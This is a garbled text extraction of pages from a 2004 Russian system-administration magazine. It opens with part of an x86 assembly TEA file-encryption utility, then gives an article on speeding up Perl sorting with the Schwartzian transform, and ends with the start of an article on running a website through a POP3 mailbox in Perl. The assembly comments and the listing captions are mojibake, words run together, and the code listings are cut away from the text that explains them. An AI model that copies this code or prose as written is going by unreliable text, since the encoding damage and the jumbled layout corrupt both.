pusha ; Ñîõðàíÿåì âñå â ñòåêåcall t__ ; Íàõîäèì èìÿ ôàéëàpush esi ; Ñîõðàíÿåì óêàçàòåëü â ñòåêåcall t__ ; Íàõîäèì ñëåäóþùèé ïàðàìåòðdec esi ; Ïåðåõîäèì íà ðàçäåëÿþùèé ïðîáåëmov byte ptr[esi],0 ; È çàìåíÿåì åãî íóëåìpop esi ; Âîññòàíàâëèâàåì óêàçàòåëü èç ñòåêàpush esi ; È òóò æå êëàäåì åãî îáðàòíî â ñòåê

xor eax,eax ;push eax ;push 00000080h ;push 3 ;push eax ;push 00000001h OR 00000002h ;push 40000000h OR 80000000 ;push esi ; Îòêðûâàåì ñóùåñòâóþùèécallx CreateFileA ; ôàéë (esi)

inc eax ;test eax,eax ; Åñëè âîçíèêëà îøèáêà, òîjnz g__ ; ïåðåõîäèì íà error_push offset file_err_ ; è âûâîäèìcallx printf ; ñîîáùåíèåadd esp,4 ;

g__:dec eax ; Óìåíüøàåì eax íà 1

mov fHnd,eax ; Ñîõðàíÿåì õýíäë ôàéëàpush s2read ;push eax ;callx GetFileSize ; Ïîëó÷àåì åãî ðàçìåðmov sz_,eax ; è ñîõðàíÿåì åãî â sz_

; Âûäåëÿåì ïàìÿòüpush 0 ; èìÿ ôàéëà õýíäë = 0push sz_ ; ìàêñèìàëüíûé ðàçìåð = memorypush 0 ; ìèíèìàëüíûé ðàçìåð = 0push 4 ; äîñòóï ÷òåíèå/çàïèñüpush 0 ;push fHnd ;callx CreateFileMappingA ;mov mHnd,eax ; Ñîõðàíÿåì õýíäë ïàìÿòèor eax,eax ; åñëè îøèáêà, òî íà âûõîäjz error2_ ;push sz_ ; êîëè÷åñòâî ïàìÿòè äëÿ ðàáîòûpush 0 ;push 0 ;push 2 ; Ðåæèì çàïèñèpush eax ; õýíäëcallx MapViewOfFile ; Âûçûâàåì ôóíêöèþtest eax,eax ; Åñëè îøèáêà, òîje error3_ ; íà âûõîä

mov mHnd2,eax ; Ñîõðàíÿåì óêàçàòåëü; íà ïàìÿòü

cmp flag,1 ;je d2__ ;lea ebx,total_decrypt ; Ïðîâåðÿåì, êàêàÿ

; íàì ôóíêöèÿ íóæíà:jmp d3__ ; øèôðîâêè èëè äåøèôðîâêè

d2__: ; è êëàäåì å¸ ñìåùåíèå â ebxlea ebx,total_encrypt ;

d3__:pop esi ; Ïîëó÷àåì óêàçàòåëücall t__ ; íà íàø 128 áèòíûé êëþ÷

mov edx,mHnd2 ; Äåøèôðóåì äàííûåmov eax,esi ; íàøèì êëþ÷îì (128 áèò)mov ecx,sz_ ; sz_ áàéò � äëèíà äàííûõcall ebx ;

push mHnd2 ;callx UnmapViewOfFile ; Çàêàí÷èâàåì èçìåíåíèå

; ôàéëà â ïàìÿòè è êëàä¸ì; åãî îáðàòíî

error3_:push mHnd ;callx CloseHandle ; Çàêðûâàåì ïàìÿòü

error2_:push fHnd ;callx CloseHandle ; Çàêðûâàåì ôàéë

error_:popa ; Âûíèìàåì âñ¸ èç ñòåêàret ; Âîçâðàò èç ïîäïðîãðàììû

;--------------------------------------------------------;fHnd dd 0 ;sz_ dd 0 ;mHnd dd 0 ;s2read dd 0 ; ÄàííûåmHnd2 dd 0 ;flag db 0 ;usage__:db '|----------------------------------------------|',0ah,0dhdb '| [FILE ENCRYPTION UTILITE (BASED ON TEA) BY SLON] |',0ah,0dhdb '|----------------------------------------------|',0ah,0dhdb '| USAGE: FENCU.EXE [-D OR -E] [FILENAME] [128 BIT KEY] |',0ah,0dhdb '| -D : DECRYPT FILE |',0ah,0dhdb '| -E : ENCRYPT FILE |',0ah,0dhdb '| EXAMPLE: FENCU.EXE -E HELLO.TXT 1234567890abcdef |',0ah,0dhdb '|----------------------------------------------|',0ah,0dhdb 0ah,0dh,0invalid1_:db '[INVALID PARAMETER, EXITING ...]',0ah,0dh,0file_err_:db '[FILE ERROR, EXITING ...]',0ah,0dh,0;--------------------------------------------------------;include tea_128.asm;--------------------------------------------------------;.code

nopend startend

Page 71: 017 Системный Администратор 04 2004
Page 72: 017 Системный Администратор 04 2004

70

программирование

При работе с массивами (списками)1 сортировка являет-ся, наверное, наиболее частой операцией. Я не беру в рас-чёт операции, отвечающие фактически за создание спис-ков: присоединение и удаление элементов, объединениемассивов, срез и тому подобные; мы займёмся преобра-зованием уже созданных списков. Мало кто поспорит стем, что процедура сортировки является весьма ресурсо-ёмкой. Можно ли снизить нагрузку на систему, не вмеши-ваясь в сам алгоритм сортировки?

В этой статье я хотел бы рассказать о путях оптимиза-ции сортировки в Perl, но думаю, что изложенные здесьприёмы могут быть полезны и для программистов на дру-гих языках. Особенно, когда речь идёт о языках высокогоуровня, где уже существуют встроенные функции сорти-ровки, и вам не надо писать алгоритм сортировки само-стоятельно, но и вмешаться в него вы уже не можете. Яне смогу написать здесь учебник по Perl, но я постараюсь

В пилотном номере журнала «Системный администратор» была опубликована статья ДаниилаАлиевского – «Эффективное использование памяти в Perl при работе с большими строками».Тогда-то у меня и возникла мысль написать статью об эффективном использовании времени в Perl,то есть об оптимизации, направленной на увеличение быстродействия.

ОПТИМИЗАЦИЯ СОРТИРОВКИ В PERLОПТИМИЗАЦИЯ СОРТИРОВКИ В PERL

АЛЕКСЕЙ МИЧУРИН

сделать статью максимально понятной и для людей, незнакомых с Perl.

Давайте сперва изучим особенности алгоритма сор-тировки, вернее особенности её реализации в Perl 5.6. Яне буду здесь рассматривать саму реализацию. Она дос-таточно сложна и вместе с тем отлично прокомментиро-вана в исходных кодах Perl. Если вас интересует этот воп-рос, просто почитайте исходные коды. Итак, приступим.

Оценка производительностисортировки в PerlВ качестве критерия производительности я выбрал вели-чину, равную отношению: в числителе – количество срав-нений, необходимое для выполнения сортировки, в зна-менателе – количество элементов в сортируемом списке.То есть величину, показывающую, сколько сравнений при-ходится в среднем на один элемент списка. Естественно,

Page 73: 017 Системный Администратор 04 2004

71№4(17), апрель 2004

программирование

В результате выполнения этой команды элементы мас-сива @unsorted сортируются по алфавиту и новый, сорти-рованный, список помещается в массив @sorted4.

Ценность функции sort для программиста была бы невелика, если бы это была единственная её форма, но, ксчастью, функция sort допускает формулирование любо-го критерия сортировки. Вторая форма такова:

При каждом сравнении в блоке операторов {...} автома-тически создаются две локальные5 переменные $a и $b,которые являются синонимами сравниваемых элементовисходного списка @unsorted. Из-за этой синонимичностименять значение этих переменных весьма нежелательно,это приведёт к изменения соответствующих элементовсписка @unsorted и может сбить sort с толку. Результат вы-полнения блока интерпретируется так же, как результат вы-полнения операторов <=> и cmp. То есть блок сообщает,какой из двух элементов следует считать меньшим.

Пример:

В этом примере элементы списка сравниваются ужекак числа. При каждом сравнении, для пары сравнивае-мых элементов создаются синонимы – локальные пере-менные $a и $b; выполняется блок {$b <=> $a}; по его ре-зультатам sort делает вывод – надо ли переставить эле-менты или следует сохранить прежний порядок. Как ви-дите, в нашем случае сортировка выстроит числа, состав-ляющие массив @unsorted по убыванию.

Для иллюстрации подхода, который я собираюсь опи-сать, более подходит следующий пример, реализующийсортировку строк по алфавиту без учёта регистра:

Здесь, выполняя каждое сравнение, мы преобразуемоперанды cmp к верхнему регистру; uc – встроенная фун-кция Perl6. Обратите внимание, мы не сохраняем резуль-тат работы uc. Вот тут-то и кроется возможность оптими-зировать нашу работу.

Итак, блок {uc($a) cmp uc($b)} выполняется столько раз,сколько сравнений необходимо для сортировки. Функцияuc вызывается дважды при каждом выполнении блока.Давайте оценим, сколько раз она выполнится.

Цифры оказываются весьма красноречивы. Для сор-тировки «случайного» (неупорядоченного) списка из 1000строк понадобится в среднем 19 460 вызовов uc. То естькаждый элемент списка будет преобразован в верхнийрегистр почти двадцать раз! Для аналогичного списка из1 000 000 строк Perl придётся вызывать uc 4 3180 000 раз,

Ëèñòèíã 2# Ôóíêöèÿ sort ñ çàäàííûì êðèòåðèåì ñîðòèðîâêè@sorted = sort {...} @unsorted;

эта величина зависит и от размера массива, и от мерыего начальной упорядоченности.

На приведённой диаграмме показаны результаты тес-тов, проведённых на разных массивах. Тестировались трирода массивов: упорядоченный (в результате сортировкимассив не менялся), обратноупорядоченный (в результа-те сортировки массив перестраивался в обратном поряд-ке) и массив случайных величин (для этого случая на ди-аграмме показаны средние значения).

Как видите, наименее ресурсоёмкой оказалась сорти-ровка уже отсортированного массива, чего, наверное, иследовало ожидать. Менее тривиальный результат состо-ит в том, что для сортировки обратноупорядоченного мас-сива требуется не намного больше актов сравнения, чемдля упорядоченного. И самой ресурсоёмкой оказываетсясортировка «случайного» (неупорядоченного) списка.

Такие результаты тестов не случайны3, но мы догово-рились, что не будем затрагивать тонкости реализации,оставив их для разработчиков языков. Просто сортиров-ка такова и результаты тестов таковы.

Самым важным и интересным для нас в этих тестахявляется то, что количество необходимых для сортировкиактов сравнения возрастает непропорционально количе-ству элементов в списке. То есть для сортировки случай-ной последовательности из 10 элементов необходимо (всреднем) 23 сравнения, а для сортировки подобного спис-ка из 10 000 элементов необходимо не 23 000 сравнений,а в шесть(!) раз больше – 136 000. Обратите внимание,эта закономерность выполняется для любых списков, не-зависимо от их начальной упорядоченности.

Здесь-то перед программистом и открывается кажу-щийся бескрайним простор для оптимизации кода. Давай-те перейдём от сухой теории к практическим рецептам(пока тоже достаточно сухим).

Сортировка в Perl и её оптимизацияДля сортировки массивов и списков в Perl предусмотренавстроенная функция sort, которая в самой простой своейформе может использоваться так:

Ðèñóíîê 1. Ðåçóëüòàòû òåñòîâ ïðîèçâîäèòåëüíîñòè âñòðîåííîéïðîöåäóðû ñîðòèðîâêè ÿçûêà Perl äëÿ èçíà÷àëüíî óïîðÿäî÷åííûõìàññèâîâ (óïîð.), îáðàòíîóïîðÿäî÷åííûõ ìàññèâîâ (îáð.) è íåóïîðÿäî÷åííûõ ìàññèâîâ (ñëó÷.) ðàçëè÷íîé äëèíû2.

Ëèñòèíã 1# Ýëåìåíòàðíîå ïðèìåíåíèå ôóíêöèè sort@sorted = sort @unsorted;

Ëèñòèíã 3# Ñîðòèðîâêà ÷èñåë ïî óáûâàíèþ@sorted = sort {$b <=> $a} @unsorted;

Ëèñòèíã 4# Ñîðòèðîâêà ñòðîê ïî àëôàâèòó áåç ó÷¸òà ðåãèñòðà# (îïòèìèçàöèè íåò)@sorted = sort {uc($a) cmp uc($b)} @unsorted;

Page 74: 017 Системный Администратор 04 2004

72

программирование

и каждый элемент будет преобразован более 43 раз. Ко-нечно, такая трата вычислительных ресурсов совершен-но не оправданна.

Для оптимизации быстродействия нам придётся пожер-твовать памятью, но, к счастью, память сейчас не дорога,а вот время всегда – деньги.

Путь оптимизации очень прост, суть его такова:

Здесь нам встречается оператор map, позвольте ска-зать два слова о нём для тех, кто не знаком с Perl. Опера-тор map получает в качестве аргументов блок операто-ров и массив; блок операторов применяется последова-тельно к каждому элементу массива, в каждой итерациипеременная $_7 становится синонимом очередного эле-мента; все результаты итераций возвращаются операто-ром в виде массива результатов.

Давайте теперь посмотрим, как работает последний ли-стинг.

Сперва (первый вызов map), мы создаём временныйнесортированный массив @temp_unsorted, состоящий изуказателей на двухэлементные массивы. Нулевой элементкаждого из них содержит критерий сортировки. В нашемслучае это строка в верхнем регистре. Первый элементсодержит оригинальную (исходную) строку. Созданнаянами конструкция напоминает двумерный массив. В Perlне предусмотрено многомерных массивов, их роль выпол-няют массивы указателей на массивы. В данном случаенам нужно именно это, и при реализации подобного под-хода на других языках понадобится скорее всего нечтоподобное. Работа с настоящим двумерным массивом вэтой ситуации может оказаться менее эффективной (взависимости от конкретной реализации двумерных мас-сивов в языке).

Затем (вызов sort) мы сортируем временный массив@temp_unsorted, используя в качестве критерия сортиров-ки нулевые элементы анонимных двухэлементных масси-вов. В переменной @temp_sorted получаем уже отсорти-рованный массив указателей на наши двухэлементныемассивы.

Наконец (второй вызов map), восстанавливаем отсор-тированный массив @sorted, извлекая оригинальные стро-ки из первых элементов анонимных массивов, указателина которые составляют @temp_sorted.

Вы уже заметили, что теперь мы вычисляем uc ровностолько раз, сколько у нас сортируемых элементов. Этопрогресс! Но теперь кроме sort мы дважды вызываем map.Это лишняя трата времени. Тем не менее, затраты вре-мени на выполнение map растут пропорционально коли-честву элементов в массиве @unsorted, а экономия вре-мени на выполнение процедуры sort растёт пропорцио-нально количеству сравнений, то есть гораздо быстрее,

чем прямая пропорциональность количеству элементов.Одним словом, при достаточном количестве элемен-

тов мы обязательно снизим суммарный расход временина сортировку. Какое количество элементов следует счи-тать «достаточным»? Это зависит от сложности критериясортировки. Часто (но не всегда), чем сложнее критерий(тот критерий, который сформулирован в блоке операто-ра sort), тем меньше надо элементов, чтобы почувство-вать выигрыш; но, чем сложнее процедура вычислениякритерия (та процедура, которая находится в map), тембольше надо элементов, чтобы выигрыш стал ощутимым.Подробнее это обсудим совсем скоро, а пока рассмотримдетальнее наш последний код.

Всю описанную здесь процедуру можно записать ко-роче и без использования временных массивов:

Эта конструкция известна как преобразование Рэнда-ла Шварца8.

Последний код выглядит гораздо более изящно, ноиногда уместнее использовать первый вариант (листинг 5)или некий гибридный подход. Например, это полезно, ког-да критерий сортировки используется многократно, или втех случаях, когда целесообразно рассчитывать сразу не-сколько критериев.

В следующем примере мы создаём два сортирован-ных без учёта регистра списка: по алфавиту и в обратномалфавитном порядке. При этом uc вызывается только одинраз для каждого элемента.

Помимо выигрыша, который дала бы оптимизация каж-дой отдельной сортировки, здесь мы получили дополни-тельный выигрыш. Если просто дважды применить клас-сическое преобразование Рэндала Шварца, то на однусортировку потребовалось бы два вызова map. Здесь жена каждую сортировку приходится полтора вызова map(три map на два sort). Причём реальный выигрыш ещёбольше, так как дважды выполняется процедура map, вос-станавливающая данные, а процедура расчёта критериясортировки (более ресурсоёмкая, чем восстановлениеданных) выполняется всего один раз на две сортировки.То есть для каждой из двух сортировок на один элементпонадобилась половина, если можно так сказать, вызоваuc. Впечатляющий результат?! Особенно, если вспомнить,что если бы мы просто дважды использовали неоптими-зированный код, аналогичный приведённому в листинге4, применительно к массиву из миллиона строк, то каж-

Ëèñòèíã 5# Îïòèìèçèðîâàííàÿ ñîðòèðîâêà ñòðîê ïî àëôàâèòó áåç ó÷¸òà# ðåãèñòðà; äëèííàÿ ôîðìà ñ âðåìåííûìè ìàññèâàìè@temp_unsorted =

map {[uc, $_]} @unsorted;@temp_sorted =

sort {$a->[0] cmp $b->[0]} @temp_unsorted;@sorted =

map {$_->[1]} @temp_sorted;

Ëèñòèíã 6# Îïòèìèçèðîâàííàÿ ñîðòèðîâêà ñòðîê ïî àëôàâèòó áåç ó÷¸òà# ðåãèñòðà; êîðîòêàÿ ôîðìà áåç âðåìåííûõ ìàññèâîâ@sorted =

map {$_->[1]}sort {$a->[0] cmp $b->[0]}map {[uc, $_]} @unsorted;

Ëèñòèíã 7# Ñîçäàíèå äâóõ ñîðòèðîâàííûõ áåç ó÷¸òà ðåãèñòðà ñïèñêîâ;# âäâîéíå îïòèìèçèðîâàííàÿ ðåàëèçàöèÿ@temp_unsorted = map {[uc, $_]} @unsorted;@sorted_a2z = map {$_->[1]}

sort {$a->[0] cmp $b->[0]} @temp_unsorted;@sorted_z2a = map {$_->[1]}

sort {$b->[0] cmp $a->[0]} @temp_unsorted;

Page 75: 017 Системный Администратор 04 2004

73№4(17), апрель 2004

программирование

дая строка была бы преобразована к верхнему региструбез малого сто раз (более 86 раз).

Вернёмся теперь к вопросу о том, какой же список сле-дует считать «достаточно» длинным, и какой критерий сор-тировки – «достаточно» сложным.

Тестируйте, тестируйтеи ещё раз тестируйтеПереходим от теории к практике: к тестам на реальныхзадачах.

Я производил свои тесты на Perl версии 5.6.1 (revision 5.0version 6 subversion 1)9. Для оценки производительностикода использовался метод timethese стандартного пакетаBenchmark. Все тесты производились на изначально не-сортированных, «случайных», массивах. Тесты произво-дились многократно, результаты усреднялись.

Давайте для начала сравним производительность кодалистинга 4 (без оптимизации) и листинга 6 (с оптимиза-цией).

При сортировке списка из 1000 однокилобайтных строкоптимизированный код показывает производительность, впять раз превосходящую производительность неоптимизи-рованного кода. При сортировке аналогичного списка из100 элементов выигрыш от оптимизации снижается, ста-новясь четырёхкратным. При работе со списком из 10 эле-ментов выигрыш становится меньше трёхкратного. Дляпяти элементов – менее двукратного. Наконец, с двухэле-ментным списком оптимизированная сортировка работаетпримерно вдвое медленнее, чем неоптимизированная10.

Для иллюстрации ещё одного приёма оптимизации итестов предлагаю средней сложности сортировку.

Пусть у нас имеется некий список версий вида:

Нам необходимо отсортировать его по возрастаниюномера версии. Сортировка по алфавиту (как в листинге 1)не даст ничего удовлетворительного. Сортировка версий,как десятичных дробей тоже потерпит крах, так как в этомслучае окажется, что 1.1 равно 1.10, а 2.3 больше, чем2.12. Здесь нужен более деликатный подход11.

Простой вариант без оптимизации может выглядеть так:

Для сравнения двух строк мы выделяем по два числаиз каждого сравниваемого элемента сортируемого спис-ка и производим сравнение этих чисел. Версия и подвер-сия, выделенные из элемента $a, помещаются в перемен-

ные $ap и $as соответственно; элемент $b обрабатывает-ся аналогично. Если номера версий равны, то сравнива-ются подверсии12.

Вариант с нашей оптимизацией будет выглядеть так:

Этим примером я хотел продемонстрировать, что вспо-могательный массив (создаваемый вторым по тексту опе-ратором map) может содержать указатели не только надвухэлементные анонимные массивы. В нашем случаекритерий сортировки достаточно сложен и мы создаёмтрёхэлементные анонимные массивы: нулевой элемент –оригинальная строка, первый – номер версии, второй –номер подверсии.

С точки зрения расхода памяти такой подход доста-точно расточителен, тем не менее он часто бывает оправ-дан, когда критерий сравнения достаточно сложен.

Однако наш пример не настолько сложен, в чём мысейчас и убедимся, не только усовершенствовав оптими-зацию и ускорив процедуру сортировки, но и сэкономивпамять.

Воспользуемся соображением, что номер версии иподверсии не может быть больше 999. Тогда мы можемпреобразовать версию и подверсию в одно число по фор-муле:

То есть 1.1 превратится в 1001, а 1.10 – в 1010. Сорти-ровка таких чисел, очевидно, аналогична правильной сор-тировке версий.

Новый код будет выглядеть так:

Обратите внимание, как упростилась процедура срав-нения. Это стоило нам небольшого усложнения (и замед-ления выполнения) кодирующего (второго по тексту) map.Но зато теперь память используется более экономно и,что самое главное, сравнение двух элементов в блоке опе-ратора sort происходит гораздо быстрее.

Какова же производительность этих кодов? Как пока-зывают тесты, наш успех не всегда можно назвать голо-вокружительным13.

При сортировке списка из 1000 элементов: первая оп-тимизация (листинг 10) даёт выигрыш в 4 раза (здесь идалее будем сравнивать с неоптимизированным кодом излистинга 9); дополнительная оптимизация (листинг 11)даёт ещё больший выигрыш – в 4.7 раза.

При сортировке списка из 100 элементов: первая оп-

Ëèñòèíã 8# Ñïèñîê âåðñèé@unsorted=('Ver 1.0',

'version 1.1','v. 1.10','ver 2.20','Ver 2.0','Version 2.3','V 2.12');

Ëèñòèíã 9# Ñîðòèðîâêà ñïèñêà âåðñèé áåç îïòèìèçàöèè@sorted=sort {

my ($ap, $as)=($a=~m/(\d+)\.(\d+)/);my ($bp, $bs)=($b=~m/(\d+)\.(\d+)/);$ap <=> $bp || $as <=> $bs; } @unsorted;

Ëèñòèíã 10# Ñîðòèðîâêà ñïèñêà âåðñèé ñ îïòèìèçàöèåé@sorted=map { $_->[0] }

sort { $a->[1] <=> $b->[1] ||$a->[2] <=> $b->[2]; }

map { m/(\d+)\.(\d+)/;[$_, $1, $2]; } @unsorted;

[âåðñèÿ]*1000+[ïîäâåðñèÿ]

Ëèñòèíã 11# Ñîðòèðîâêà ñïèñêà âåðñèé ñ äîïîëíèòåëüíîé îïòèìèçàöèåé@sorted=map { $_->[0] }

sort { $a->[1] <=> $b->[1] }map { m/(\d+)\.(\d+)/;

[$_, $1*1000+$2]; } @unsorted;

Page 76: 017 Системный Администратор 04 2004

74

программирование

тимизация даёт выигрыш в 3.8 раза, вторая оптимизацияуже не способна дать дополнительный выигрыш, она ра-ботает чуть медленнее первой и даёт выигрыш в 3.7 раза.

Такая же ситуация, только более ярко выраженная,наблюдается при сортировке списка из десяти элементов:первая оптимизация – выигрыш в два раза, вторая опти-мизация – выигрыш только в 1.7 раза.

Для списка из пяти элементов тестирование даёт сле-дующие результаты: первая оптимизация по-прежнемудаёт заметный выигрыш в 1.34 раза, вторая оптимизацияпродолжает себя дискредитировать, давая выигрыш все-го в 1.19 раза.

Мораль, я думаю, уже понятна: чем продуманнее оп-тимизация, тем она, без сомнения, эффективнее; но еёэффективность начинает проявляться только при сорти-ровке достаточно длинных списков. Причём эта крити-ческая длина возрастает с ростом продуманности опти-мизации.

Размышляя над результатами наших тестов, обратитевнимание и на тот факт, что все они проводились на не-упорядоченных массивах, сортировка которых наиболеересурсоёмка. На практике очень часто встречается ситу-ация, когда требуется лишь восстановить слегка нарушен-ный (скажем, добавлением новых элементов) порядок. В

таких случаях сортировка может оказаться менее ресур-соёмка и экономия времени от выноса кода за пределыблока оператора sort будет ощущаться на больших мас-сивах.

Есть ещё одно существенное соображение. Вы виде-ли, что при работе с большими списками код из листинга11 более производителен, чем код из листинга 10. Одна-ко промежуточный массив, возникающий при работе лис-тинга 10, позволил бы весьма гибко выполнять самые раз-ные сортировки (конечно, если бы мы его сохранили по-добно тому, как мы это сделали в листинге 7 при созда-нии двух сортированных массивов). Например, мы моглибы сортировать список версий по возрастанию версии, ноубыванию подверсии. То есть, совершенствуя наше ре-шение, мы снизили его универсальность, которая моглабы оказаться полезной в каких-то ситуациях.

Одним словом, абсолютно универсального решения несуществует. Каждый подход хорош только в определён-ных условиях. Если вы намерены всерьёз позаботиться опроизводительности своего кода, то я посоветовал быознакомиться со страницами руководства perldocBenchmark и всегда тестировать свой код. Причём тести-рование, как вы уже убедились, следует проводить в ус-ловиях максимально «приближенных к боевым».

1 В Perl термины массив (array) и список (list) во многомсинонимичны, и я буду использовать их, всегда имея ввиду упорядоченный набор данных.

2 Данные, приводимые разными источниками, иногдаочень сильно отличаются друг от друга. Это бывает свя-зано с тем, что тесты разных авторов проводились наразных алгоритмах или на данных различной изначаль-ной упорядоченности. Кроме того, некоторые авторысчитают не акты сравнения, а акты вычисления опе-рандов сравнения; естественно, таких вычислений вдва раза больше, чем сравнений.

3 Процедура сортировки в Perl весьма сложна. Алгоритм«адаптируется» к статистическим особенностям сор-тируемой последовательности, которые заранее неиз-вестны и не всегда верно «угадываются». Подобныхмеханизмов может не быть в других языках, поэтомуаналогичные тесты могут дать иные результаты.

4 Обратите внимание: при таком вызове функции sortвыполняется именно строковое сравнение элементовмассива @unsorted, то есть массив @unsorted=(1,2,11)в результате сортировки будет преобразован к@sorted=(1,11,2). Сюрприз?

5 Переменные $a и $b получают область видимостиименно local, а не my. То есть они видны глобально вовсех вызываемых блоком подпрограммах (в пределахтекущего модуля) и могут (но не должны!) изменятьсяими. Только после завершения выполнения блока этимпеременным возвращаются их прежние значения, какесли бы они были локальными.

6 Функция uc работает гарантированно корректно толь-ко с латинскими буквами. Для сортировки строк, со-держащих русские символы, следует применять болеетонкие приёмы. Здесь мы не будем касаться этого воп-роса.

7 Именно переменную $_ использует функция uc, еслиаргумент не задан явно. То есть вызов uc (без аргу-ментов) эквивалентен вызову uc($_).

8 Randal L. Schwartz, Портленд (штат Орегон). Шварц ши-роко известен своими книгами (есть и переведённыена русский язык) и публикациями, а также своими ча-сто шутливыми высказываниями в Usenet. Если вы про-граммируете на Perl, то наверняка уже сталкивались сним.

9 Это весьма существенная информация, функция sortпостоянно совершенствуется разработчиками Perl. Впоследней версии 5.8 добавлена даже новая прагмаuse sort, позволяющая в некотором роде выбрать ал-горитм сортировки.

10 Конечно, для сортировки двух величин эффективнееиспользовать не процедуру sort, а конструкцию напо-добие такой: @srt=$usrt[0] gt $usrt[1]?@usrt:@usrt[1,0];она работает в десятки раз быстрее, чем sort.

11 Для работы со строками я буду использовать механизмрегулярных выражений, описание которого выходитдалеко за рамки настоящей статьи.

12 Надо заметить, что в предложенный здесь и далее коддалёк от совершенства и едва ли применим для реше-ния реальных задач. Корректность исходных данныхне проверяется, а строка вида «Windows 95» уже бу-дет обработана неправильно.

13 Скорость подобной сортировки существенно зави-сит от длины и характера сортируемых строк. Я про-водил тесты на строках, аналогичных приведённымв листинге 8. Если бы мы взяли более длинные стро-ки, они обрабатывались бы медленнее, различия ре-зультатов тестов стали бы ощутимее, но общий ха-рактер описываемых закономерностей не изменил-ся бы.

Page 77: 017 Системный Администратор 04 2004
Page 78: 017 Системный Администратор 04 2004

76

web

АВТОМАТИЗАЦИЯ ВЕБ-ПРОЕКТОВЧЕРЕЗ ЭЛЕКТРОННУЮ ПОЧТУ

ИГОРЬ ТЕТЕРИН

Если взглянуть на мир со стороны, становится абсолютно не понятно, кто и как управляет сайтами.Информации на этот счет крайне мало, хотя, думаю, существует достаточное количествоинтересных решений. Более-менее развитые движки сайтов предоставляют веб-интерфейсуправления контентом, если, конечно, это не считается принципиальным аппендиксом.Про то, что я буду описывать, лично мне нигде пока слышать не доводилось.

Page 79: 017 Системный Администратор 04 2004

77№4(17), апрель 2004

web

Сразу же уточним, чего мы хотим добиться. Наша зада-ча – сделать как можно более удобный и доступный ин-терфейс для наполнения сайта контентом, то есть пере-ложить часть рутины на скрипты и сотрудников. Значит,нам предстоит заняться автоматизацией этого процесса.

Иногда дело доходит до смешного. Есть у человекасвой проект, и даже есть свой движок. Но для каждогонового динамического раздела он пишет и рисует фор-мы, пишет обработчики, вставляет проверки. Появляетсяновый раздел – берем шаблон предыдущего, корректиру-ем, правим, редизайним, проверяем и выкладываем. Иеще раз проверяем.

Такой вот обьем работы ради того, чтобы добавить одинраздел. А кто-то ведь еще работает и делает это черезdial-up. Любой, кто занимался этим, поймет – эта работадля орков. Мы же – программисты.

У нас есть свой проект, и тратить кучу времени на раз-работку каждого отдельно взятого раздела мы не хотим.Лучше мы помучаемся один раз, зато потом жизнь нашастанет сладкой и динамичной.

Новый принцип автоматизации.Основы. СравненияКак-то давно, когда я писал ret 0.8 (ядро для интернет-сайтов), мой друг заметил, что было бы весьма удобно,если бы сайтом можно было управлять через электрон-ную почту. Тогда мы не уделили этому вопросу должноговнимания. Позднее – только вспоминали про эту техноло-гию. И вот, наконец, я решил испробовать это на одномразделе своего сайта http://revda.biz.

Написал простой скрипт, который читает почту из рас-сылки и публикует все, что попадет, на сайт. И тут я по-нял, что это очень удобно! Люди, которые писали в рас-сылку, просто переписывались, при этом страница сайтабыла в постоянном движении. Те, кто заходил на эту стра-ницу, знали и понимали – за новой информацией тудаможно заходить каждый день. Да, пока это больше похо-же на обычный интернет-трэд, но все же!

Как все это выглядит? Наша задача – обрабатыватьписьма, которые мы будем брать с заранее созданногопочтового ящика. Этот же ящик мы можем подписать нарассылки или нечто подобное, дело даже не только в рас-сылках. Мы можем дать адрес ящика нужным нам людямдля того, чтобы они присылали туда новую информациюпочтой, и не приучать их пользоваться для этого каким-либо веб-интерфейсом. Кроме того, наш сайт может братьчто-то из сети Интернет, а результат пересылать на тотже почтовый ящик.

Грубо говоря, наш почтовый ящик стал централизован-ным источником информации. Этого обычно не скажешь овеб-интерфейсе, где приходится (по большей части) кого-тонапрягать, заставлять или самому работать ручками. Болеетого – мы можем автоматически обрабатывать не один ящик,а несколько, закрепив за каждым свою тематику.

Этот подход также решает вопрос вашего присутствияв Интернете. Так как мы работаем с почтовым ящиком, тодля того, чтобы обработать материал, ответить кому-тоили сделать что-то еще, нам достаточно просто скачатьпочту, поработать с ней и отослать ответы.

Пока все выглядит очень красиво. Однако, чтобы со-здать нечто подобное в реальности, нам придется ввязать-ся в битву с одним, а может, и двумя, самыми запутанны-ми стандартами: MIME и HTML.

Победить в битве с HTML достаточно трудно – это до-вольно противоречивый и очень динамичный стандарт. Тутпридется не один раз приложить и руки, и голову. В рам-ках нашей задачи мы коснемся его только слегка.

Выбор платформы, языкаи оценка задачиНа чем будет работать наш обработчик почты? Ответ оче-виден, если предположить, что все должно работать и наWindows, и на UNIX-платформах. Мы не станем ограничи-вать себя чем-то одним, поэтому после разработки обра-ботчика сможем использовать его и там, и там. А это весь-ма удобно.

На чем будем писать? Немного подумаем. Учитывая,что PHP я не знаю и знать не хочу, остается один выбор –Perl. К тому же Perl, с моей точки зрения, концептуальноболее правильный язык и больше подходит на роль стан-дартного. Но не это важно, важны принципы и алгоритм,а реализовывать можно хоть на Ruby.

Ну и, наконец, перед нами стоит задача написать об-работчик почты. То есть нам потребуется автоматизиро-вать прием, отправку, разбор писем. Плюс к этому возни-кает проблема безопасности и защищенности такого ре-шения.

Что же нам потребуется? Один почтовый ящик, хостинг(хотя можно и локально) с поддержкой Perl и несколькимидополнительными модулями с CPAN. Ну и остальное «ог-нестрельное оружие», вроде putty, far, TheBat и т. д.

Переходим к практикеРассмотрим очень простой пример. Первое, что нам по-требуется – подключение нужных модулей:

Определим основные объекты и переменные:

Теперь получим список писем:

use Net::POP3;use MIME::Parser;use MIME::Entity;use MIME::Head;use MIME::Body;use MIME::Words qw(:all);use MIME::QuotedPrint;use MIME::Base64;

my $parser = MIME::Parser->new;$parser->output_to_core(1);$parser->tmp_to_core(1);$mail_server='127.0.0.1';$username='login';$password='password';

$pop = Net::POP3->new($mail_server)or die "Can't open coonection to $mail_server :$!\n";

$pop->login($username, $password)or die "Can't Authenticate: $!\n";

$messages = $pop->listor die "Can't get listof undeleted messages: $!\n";

Page 80: 017 Системный Администратор 04 2004

78

web

Начинаем обрабатывать каждое письмо:

Следующий метод изначально был взят у Рэндола Швар-ца. Если вы поищете в Сети, то найдете нечто вроде Perl-Column, мне встречался даже перевод, правда, неполный.

Далее следует примерно такой алгоритм: если в пись-ме есть часть типа text/plain, то берется именно эта часть,а все остальное игнорируется.

Таким образом, если мы встречаем письмо, где естьHTML-часть и текст, то в качестве входящих данных бе-рется именно текст. Если текстовой части нет – письмоигнорируется.

